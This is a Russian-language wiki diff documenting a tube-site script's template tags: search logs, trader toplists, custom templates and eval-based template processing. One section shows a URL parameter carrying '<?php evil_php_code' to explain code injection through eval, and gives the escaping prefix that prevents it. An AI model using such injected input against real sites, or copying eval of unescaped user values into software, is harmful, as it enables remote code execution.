 +обратите внимание что таг пагинации должен быть такой же  как и "основной" таг, например основной таг 
 +
 +  <search_log type=pagination filter=GET_search
 +  
 +значит и пагинация должна быть 
 +
 +  <search_log type=pagination filter=GET_search type=pagination
 +  
 +таким образом можно сделать например 2 тага <search_log с разными параметрами  а пагинацию вывести по одному из них.
 +===== Search log filter =====
 +
 +Так же можно выводить лог поисковых запросов, например 
 +
 +<code>
 +
 +<search_log  num=1-10 search=GET_search>
 + <!--SEARCH_QUERY-->
 +</search_log>
 +
 +</code>
 +
 +
 +можно его отфильтровать с учетом текущего поиска Например, серфер ищет domain.com/?search=test, в темплейте у нас 
 +
 +<code>
 +вывод тумб результатов поиска 
 +<thumb num=1-10> <!--GALLERY_ID--> </thumb>
 +
 +и вывод поисковых запросов
 +
 +<search_log num=1-10 search=GET_search> <!--SEARCH_QUERY--> </search_log>
 +
 +где GET_search - это параметр search из GET (те урла)
 +
 +</code>
 +
 +**Ньюанс фильтрации** 
 +
 +По умолчанию mysql ищет как полное слово, например искали "test car" оно будет фильтровать по полному вхождению. Те в данном случае если в поисковых запросах будет "test bus" то этот запрос не выведет.
 +
 +Если у вас mysql версия 5.6  и выше то поле автоматически конвертируется в полнотекстовый поиск (mysql fulltext search) и в этом случае вам ничего не надо делать, скрипт будет автоматически искать и по одному слову, те в примере "test bus" тоже попадет в результаты.
 +
 +Но если у вас mysql до 5.6  ЛИБО кол-во поисковых запросов очень велико (100к+), то вам надо использовать sphinx для поиска. Индексируем поисковые запросы (см Sphinx статью в вики) и прописываем Sphinx Search Log Index в сетингах.  По дефолту  сфинкс тоже ищет полные вхождения, но ему можно прописать флаг Sphinx Search Mod = SPH_MATCH_ANY и он будет искать даже по одному слову.
 +===== Search query limit =====
 +
 +На сайте может быть масса вариантов лимитирования поиска, например
 +
 +  /?search=... 
 +  может превратиться в 
 +  /?search=...&category_id=..
 +  или
 +  /?search=...&tag=..
 +  
 +и так далее, варианты могут быть разными и комбинированными, поэтому добавлен свободный параметр &search_query_limit
 +
 +Например, у нас поиск по группе teen.
 +Добавляем в урл search_query_limit=teen, например /?search=...&category_name=teen&search_query_limit=teen и например поиск просто без лимита по группе  /?search=....&search_query_limit=empty
 +
 +при выводе <search_log  num=1-20> если мы хотим вывести поиски только которые были по группе teen то (а мы помним что там было search_query_limit=teen) 
 +
 +  <search_log num=1-20 search_query_limit=teen>
 +  
 +Можно подставлять &search_query_limit в зависимости от того как вы хотите потом фильтровтаь запросы. И конечно помним что это можно сделать динамичным если взять параметр из урла
 +
 +  <search_log num=1-20 search_query_limit=GET_your_param>
 +  
 +**Языковой поиск** 
 +Аналогично можно сделать разделение поиска по языкам что бы выводить на соответствующих языках. Скрипт сам не определяет на каком языке написано конкретное предложение, но это можно взять из урла например добавляем параметр с текущим языком &search_query_limit=lng_en в строку поиска
 +
 +
 +  domain/?search=test&force_lng=en&search_query_limit=lng_en
 +  domain/?search=test1&force_lng=en&search_query_limit=lng_en
 +  domain/?search=blabla&force_lng=de&search_query_limit=lng_de
 +  domain/?search=blabla2&force_lng=de&search_query_limit=lng_de
 +
 +
 +Таким образом у нас у базе для каждого поиска будет отмечено на каком языке он сделан. Добавлять параметр не составляет труда прямо в темплейте, например <input type=hidden name=search_query_limit value='lng_<!--GET_force_lng-->'>
 +
 +В темплейте добавляем
 +
 +  <search_log num=1-20 search_query_limit=GET_your_param>
 +  
 +и открываем страницу как domain/?your_param=lng_en, мы должны получить 
 +
 +  test,test1
 +
 +
 +тк на них стоит пометка  lng_en
 +
 +
 +Обратите внимание, что можно добавить руками поиски в базу (Add Search requests) в формате "search_query|search_query_limit"  те сразу указать search_query_limit
 +====== Toplist ======
 +
 +Привычная схема для многих - топлист трейдеров в отдельном файле и инклудится в темплейт. Лучше пропустить момент с созданием отдельного файла и добавлять топ трейдеров прямо в темплейт, при этом можно например подмешивать их.
 +
 +<code>
 +<thumb num=1-3></thumb>
 +тумба трейдера
 +<thumb num=3-6></thumb>
 +еще 2 тумбы трейдеров и тд
 +</code>
 +
 +таким образом можно не делать выделенный топлист и даже поставить ским 100.
 +
 +Проблема была в том, что для того, что б вывести 1 или 2 тумбы трейдеров надо было делать большое кол-во темплейтов топа и потом их инклудить в нужном месте темпелйта. Сейчас трейдеров можно выводить прямо в темплейте в нужном кол-ве.
 +
 +<code>
 +<thumb num=1-3></thumb>
 +
 +<trader num=1> <!--TRADER_DOMAIN--> </trader>
 +
 +<thumb num=3-6></thumb>
 +
 +<trader num=2-3> <!--TRADER_DOMAIN--> </trader>
 +</code>
 +
 +
 +Можно указать рендомное кол-во тумб, например 
 +<code>
 +<trader num=random random_start=1 random_end=10 random_items=3
 +</code>
 +
 +выведет 3 трейдера от которые где-то на позиции между 1 и 10
 +
 +
 +
 +Итого внутри тага <trader можно использовать
 +
 +<code>
 +<!--TRADER_NUM--> номер в топе
 +<!--TRADER_DOMAIN--> - домен 
 +<!--TRADER_DESCRIPTION--> = <!--DESC--> 
 +<!--TRADER_FULL_DESC-->
 +<!--TRADER_IMAGE--> <!--TRADER_IMAGE2--> и так далее если у вас для каждого трейдера более одной тумбы
 +<!--TRADER_EXTRA_IMAGE-->
 +<!--TRADER_URL--> 
 +<!--TRADER_TOTAL_UNI-->
 +<!--TRADER_TOTAL_ROW-->
 +<!--TRADER_TOTAL_CLICKS-->
 +<!--TRADER_TOTAL_OUT-->
 +<!--TRADER_TOPLIST_COMMENT-->
 +<!--TRADER_GROUP_1_NAME--> <!--TRADER_GROUP_2_NAME--> and so on
 +<!--TRADER_GROUP_1_DESC--> - отдельные дески трейдера по группам (в редактировании трейда)
 +</code>
 +
 +
 +с отдельными описаниями для групп есть небольшой ньанс. Например у нас трейдер А находится в группе 1. 
 +Обычное описание у трейдера "тест", а в группе 1 "супер тест" Если мы выведем   
 +
 +макрос
 +
 +  <trader num=1-10>
 +  
 +выводит всех трейдеров и в том числе трейдера А. Тк тут не указана группа то <!--TRADER_GROUP_DESC--> выведет "тест", но если в макросе указана группа например 
 +
 +    
 +  <trader group=new num=1-10>
 +
 +то <!--TRADER_GROUP_DESC--> выведет "супер тест".
 +
 +
 +
 +Возможные параметры для тага
 +
 +<code>
 +<trader num=1 .... >
 +num = номер трейдера, может быть промежуток например 1-5
 +
 +order = сортировка, варианты uniques, raws, priority, clicks, random по деофлту - uniques.
 +
 +group= группа трейдеров
 +
 +skip_group= пропустить группу
 +
 +unique_hits_limit=2-100 - ограниение по кол-ву хитов трейдеров
 +
 +</code>
 +
 +Вариант сортировки priority нас интерисует в первую очередь для трейда, те тумбы трейдеров которым мы должны отдать в первую очередь будут находится выше в темплейте.
 +
 +
 +**Blocked countries**
 +
 +Если у вас блокируются какие-то страны для трейдера ( условно  не слать IN на трейдера domain.com) то логично не выводить в топе трейдеров этого трейдера для трафика из Индии. Для этого в таг надо добавить 
 +
 +  <trader num=1-20 **skip_blocked_countries=true**>
 +
 +
 +Это немного увеличивает нагрузку тк для каждого хита надо проверять что выводить, с другой стороны правильнее распределяет трафик.
 +
 +**Тумбы трейдера**
 +
 +По умолчанию тумбы трейдера создаются в scj/top/tt (можно поменять в сетингах) в виде trader.com.jpg. Фактически вам даже <!--TRADER_IMAGE--> не надо (это просто тн синтаксический сахар), можно вывести просто 
 +<!--TRADER_DOMAIN-->.jpg
 +
 +Если вы указали перс урлы трейдера по категориям, то будут созданы тумбы название по шаблону trader.com.CATEGORY_NAME.jpg те условно trader.com.teen.jpg,  соответственно что бы вывести <!--TRADER_DOMAIN-->.категория.jpg
 +
 +===== Trader CRC =====
 +
 +Вариант спрятать домен в линке, например
 +
 +<code>
 +
 +<trader num=1-2>
 +    <a href="out.php?member_crc=<!--TRADER_CRC-->" > <!--TRADER_DOMAIN--> </a> <br>
 +</trader>
 +
 +
 +</code>
 +
 +те в линке домена не будет видно
 +====== Default templates ======
 +
 +По дефолту в скрипте есть предустановленные шаблоны. В большинстве случаев их названия и описания ясны. 
 +Эти шаблоны не удаляются из админки. дабы не удалить чего нечаянно.
 +
 +content_single_item - это темпелйт для вывода большой картинки с пиксовой гали на отдельной странице.
 +
 +====== Custom Templates ======
 +
 +Вы можете добавить неограниченное кол-во своих темплейтов и вызывать их используя ?force_template=...
 +
 +Например, вы хотите отдельный дизайн для ваших трейдера trd.com
 +Для начала создаем шаблон trd_personal и в нем создаем шаблон конкретно для этого трейдера.
 +
 +Вот несколько вариантов, как можно сделать это. Смысл всех этих операций в одном и том же - передать параметр force_template=
 +
 +**1.** трейдер может слать на урл http://your_domain.com/?force_template=trd_personal
 +
 +**2.** вы можете создать файл your_domain.com/t.php следующего содержания
 +
 +<code>
 +<?php
 +$_GET['force_template'] = 'trd_personal';
 +include('./scj/tube/index.php');
 +</code>
 +
 +и прописать трейдеру этот t.php как персональную страницу.
 +
 +**3.** в your_domain.com/common.php добавить строку вида
 +
 +<code>
 +после
 +<?php
 +добавить
 +
 +if (strstr($_SERVER['HTTP_REFERER'], 'trd.com')) $_GET['force_template'] = 'trd_personal';
 +</code>
 +
 +
 +====== Custom gallery - antibot question ======
 +
 +По дефолту для защиты комментов от спама на кастом галерах используется капча. Теперь есть вариант номер два - <!--ANTIBOT_QUESTION--> который выбирается из вопросов которые используются при сайнапе трейдеров,  те из Settings - Cjsettings - wm signup. 
 +
 +В этом опредленно есть смысл, так на форуме smartcj.com было много спама, потому что стандартную капчу давно уже разбирают автоматически. Разобрать автоматически вопрос намного сложнее. Результат - 99% спама пропало.
 +
 +====== Tag Processing ======
 +
 +Сначала обрабатываются таги, потом выполняется пхп. Например, у нас конструкция 
 +
 +<thumb num=1-5>
 +<!--GALLERY_SLUG--> <?php $count++; ?>
 +</thumb>
 +
 +это значит что сначала это буде разложено в 
 +
 +<code>
 +slug1 <?php $count++; ?>
 +slug2 <?php $count++; ?>
 +slug3 <?php $count++; ?>
 +slug4 <?php $count++; ?>
 +slug5 <?php $count++; ?>
 +</code>
 +
 +и потом выполнен пхп.
 +
 +Это так же значит что нельзя всунуть пхп в сам таг, например
 +
 +<thumb num=$my_var>
 +
 +потому что, опять же, сначала таги, потом пхп.
 +
 +Данные в таг передаются например из урла GET_ или predefined vars например CURRECT_ITEM_...
 +====== Global Custom Vars ======
 +
 +Удобно иметь глобальные замены для всех темплейтов, например, места для баннеров, link exchange и тп. Специально для этого есть **Rotation - Tube - Tpl Custom Vars**. Добавленные там переменные  будут доступны в любом темплейте, например добавляете my_var1 и они будет доступна как <!--CUSTOM_VAR_MY_VAR1-->  в любом темплейте. Удобно тем, что легко поменять например баннер во всех темплейтах сразу. 
 +
 +Так же кастом переменная может быть с переводом для каждого языка. 
 +
 +Например, у вас есть основной язык (на котором вы добавляете контент) и вы добавили сколько надо языков в Rotation Settings - Multilingual. Теперь переменная <!--CUSTOM_VAR_MY_VAR1--> на каждом языке - своя, если нет перевода для конкретного языка, то будет использован основной.
 +
 +Можно быстро перевести с основного языка на дополнительный. Для этого в **Translation [+]** отмечаем галочками какие переменные надо перевести и указываем чем переводить например 
 +
 +<code>
 +
 +external::http://your_domain/scj/bin/rotation.php?action=translate_text&text={MAIN_VALUE}&source_lng=en&target_lng={TRANSLATION_LNG}&api_key=...
 +
 +
 +дефолтный вариант - google translate
 +
 +Тут надо обратить внимание на
 +
 +&source_lng=en - основной язык 
 +api_key - ключ АПИ с гугла
 +
 +
 +Вы можете заменить гугл на любой свой вариант перевода. 
 +В процессе перевода скрипт будет менять {MAIN_VALUE} на актуальный текст 
 +и {TRANSLATION_LNG} на называние языка на который нужен перевод, например it
 +
 +
 +</code>
 +====== Developer mode ======
 +
 +Темплейты находят в базе, но для некоторых удобнее редактировать темплейты через фтп, а не через админку. Для этого случая есть Developer Mode - вы можете залить темплейт в scj/tube/default_templates с именем имя_темплейта.tpl (например, content_page.tpl, index.tpl). При каждом запуске скирпт будет проверять наличие темплейтов в этом каталоге, и если они есть - будет добавлять из файла в базу (обновлять в базе). 
 +
 +После того как все темплейты настроены имеет смысл ее отключить дабы скрипт не делал лишних проверок = экономия ресурсов сервера.
 +
 +
 +
 +====== User Thumbs ======
 +
 +Часто большое количество тумб с одного видео надо не для ротации (и выбора лучшей тумбы), а для роллинга тумб те когда при наведении мышки на тумбу картинка начинает меняться. При этом траффика для ротации такого количества тумб просто нет и растить базу (а каждая тумба ротации - это место в базе, больше база = больше памяти она занимает). При грабе скрипт сохранит пользовательские тумбы только на диск в /thumb/user_thumbs/gallery_id/
 +
 +Например, мы решили что у каждой галеры будет 10 тумб для роллинга
 +
 +**Варианты работы в этом случае:**
 +
 +**1. если у нас тумбы готовы то импортируем в виде** 
 +
 +  video_url|thumbs|user_thumbs
 +  
 +те thumbs - это тумбы которые будут в ротации и попадут в базу, user_thumbs - это тумбы которые будут только скачаны и сохранены на диск, но в базе их не будет.
 +
 +
 +в темплейте пишем
 +
 +<code>
 +<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script>
 +
 +
 +<script>
 +
 +var amount_of_rolling_thumbs = 10;
 +
 +$(document).ready(function() {
 +
 + $(".rotation_thumb").bind('mouseenter', function() {
 + $(this).attr('rotating', 1);
 + StartSlide($(this));
 + }).mouseleave(function() {
 + $(this).attr('rotating', 0);
 +        if ($(this).attr('original_src')) $(this).attr('src', $(this).attr('original_src'));
 + });
 +
 +});
 +
 +
 +function StartSlide(thumb) {
 +
 + if (!thumb.attr('rotating') || thumb.attr('rotating') == 0) return false;
 +
 +    if (!thumb.attr('original_src')) thumb.attr('original_src', thumb.attr('src'));
 +
 +    var cur = parseInt(thumb.attr('current_img'));
 +
 +    cur = (!cur || cur == 0) ? 1 : (cur+1);
 +
 +    if (cur > amount_of_rolling_thumbs) cur = 1;
 +
 +    thumb.attr('current_img', cur);
 +
 +  var preload = new Image();
 + preload.src = thumb.attr('data-rolling-thumbs-folder') + '/' + cur + '.jpg';
 +
 +    if (thumb.attr('rotating')) setTimeout("ChangeSRC('"+thumb.attr('id')+"', '"+preload.src+"')", 700);
 +
 +}
 +
 +function ChangeSRC(id, src) {
 + if (!$('#' + id).attr('rotating') || $('#' + id).attr('rotating') == 0) return false;
 + $('#' + id).attr('src', src);
 +        StartSlide($('#' + id));
 +}
 +</script>
 +
 +
 +<thumb num=1-10>
 +
 +<a href='/gallery/<!--GALLERY_SLUG-->/index.html'><img id='th_<!--THUMB_ID-->' class='rotation_thumb' src='<!--THUMB_URL-->' data-rolling-thumbs-folder='<!--USER_THUMBS_FOLDER-->'></a> <br>
 +
 +</thumb>
 +
 +
 +</code>
 +
 +
 +Тут надо обратить внимание на data-rolling-thumbs-folder='<!--USER_THUMBS_FOLDER-->' куда скрипт подставит /thumb/user_thumbs/gallery_id/ конкретной галеры.
 +
 +
 +
 +**2. если у нас тумбы нарезаются из видео** 
 +
 +
 +Добавляем как video_url и включаем опцию Make screenshots. Скрипт скачивает видео, делает скриншоты (в количестве How Many Thumbs from each gallery ? ). Далее идем в Preload и видимо все тумбы нарезанные с данного видео. Отмечаем кликом тумбы, которые надо добавить в ротацию и чекбокс Add Unchecked as User Thumbs. Отмеченные тумбы будут добавлены в ротацию (в базу) , а так же все тумбы будут добавлены как User Thumbs, те просто сохранены на диск НО не добавлены в базу, и их можно будет использовать для роллинга тумб тем же скриптом как описано в пункте 1.
 +
 +======  How it works ======
 +
 +Как работает система темплейтов, для продвинутых пользователей.
 +
 +<code>
 +страница модели /?model_slug=...&force_template=model_galleries
 +
 +для некоторых страниц название темплейта указано по умолчанию, например
 +
 +страница категории  /?category_id=5
 +
 +хотя темпелйт тут не указан, будет использован темплейт content_list, но можно указать и свой например
 +
 +/?category_id=5&force_template=mytpl
 +
 +</code>
 +
 +Таким образом можно формировать через реврайты любые урлы и любые темплейты. 
 +
 +
 +Разбор темпелйта идет в 2 шага: сначала заменяются макросы скрипта (например <thumb ... <!--GALLERY_SLUG-->) а потом делается eval что б выполнить ваш пхп код в темплейте.
 +
 +Тут надо обратить внимание на свой пхп код, что б в нем не оказалось дыр, например, представим что вы выодите какой-то параметр из строки урла <!--GET_var--> и юзер в урле указал &var=123, в этом случае в темпелйте будет выведено именно 123. После этого мы сделаем eval() этой строки 123 и получим просто 123 те там пхп кода нет.
 +
 +Теперь представим что юзер передал не 123, в &var=<?php evil_php_code, тогда переменная <!--GET_var--> будет заменена на эту строку и eval уже выполнит этот код. Что б такого не было есть  [[new_rotation_templates#tag_prefix]], например <!--HTMLENTITY_GET_var--> выведет "<?php" как "&lt;?php" и пхп код злоумышленника будет выведет как html, те не будет выполнен.
 +
 +
 +----
 +
 +
 +**Custom galleries** - по дефолту грабится весь контент с гали (но при грабе можно так же указать только определнный тип контента - картинки, мувики, флеш). При грабе парсер смотрит какой тип контента имеется, если тип конетнта только 1 - гале назначется соотв темпелейт (например content_custom_pic или content_custom_mov). Если разные типа контента - назначается content_custom_mix. Технически скрипту не имеет значения каким темпелейтом выводить какую галю - разделение сделано исключительно для удобства пользования, так например в дефолтном pic темплейте просто тумба линкуется на картинку, в mov стилизовано под плеер, а в flash сразу выведен код для ембеда. 
 +
 +При добавлении контента можно форсировать определенный темплейт. Обычно это не надо, тк в 99% случаев темпелйт из стандартных определяется как надо (если не так как - велкам в суппорт). 1% случаев - это когда вы заводите кастом темпелйты для спонсоров. Например, для галер опредленного спонсора вы делаете альтернативный пиксовый темпелйт с каким то дизайном под этого спона - это тот случай когда в импорте надо руками выбирать темплейт.
 +
 +Базовые параметры в скрипте
 +
 +<code>
 +/?
 +page=...
 +order= (ctr - по умолчанию, date, duration)
 +force_template
 +slug= саг галереи
 +sponsor_slug=
 +model_slug=
 +search=
 +date_start= , date_end=
 +и predefined dates date_limit=today, yesterday, this_week, this_month
 +
 +</code>
 +
 +
 +======  SCJ_VISITOR ======
 +
 +Специально для темплейтов на пхп вынесена глобальная переменная $GLOBALS['SCJ_VISITOR'] в которой есть данные текущего пользователя, этим можно пользоваться если надо в темплейте что-то менять в зависимости от спараметров серфера например 
 +
 +<code>
 +<?php 
 +
 +if ($GLOBALS['SCJ_VISITOR']['mobile']) { 
 +
 +print_r($GLOBALS['SCJ_VISITOR']);
 +
 +}
 +
 +</code>
 +
 +
 +====== Page track ======
 +
 +Можно проследить на какую страницу приходит траффик и какие есть переходы на сайте. 
 +
 +В Trade - Statistics - Page Track 2 колонки: Inbound Views (если реф не наш сайт) and Local Views (если реф - наш сайт)
 +
 +Есть 2 варианта
 +
 +1. &page_track=... в урле 
 +
 +2. в темплейте таг <!--PAGE_TRACK_....--> 
 +
 +Например
 +
 +  <!--PAGE_TRACK_CURRENT_PAGE--> 
 +  <!--PAGE_TRACK_CATEGORY--> 
 +  <!--PAGE_TRACK_любое_слово--> 
 +  
 +
 +
 +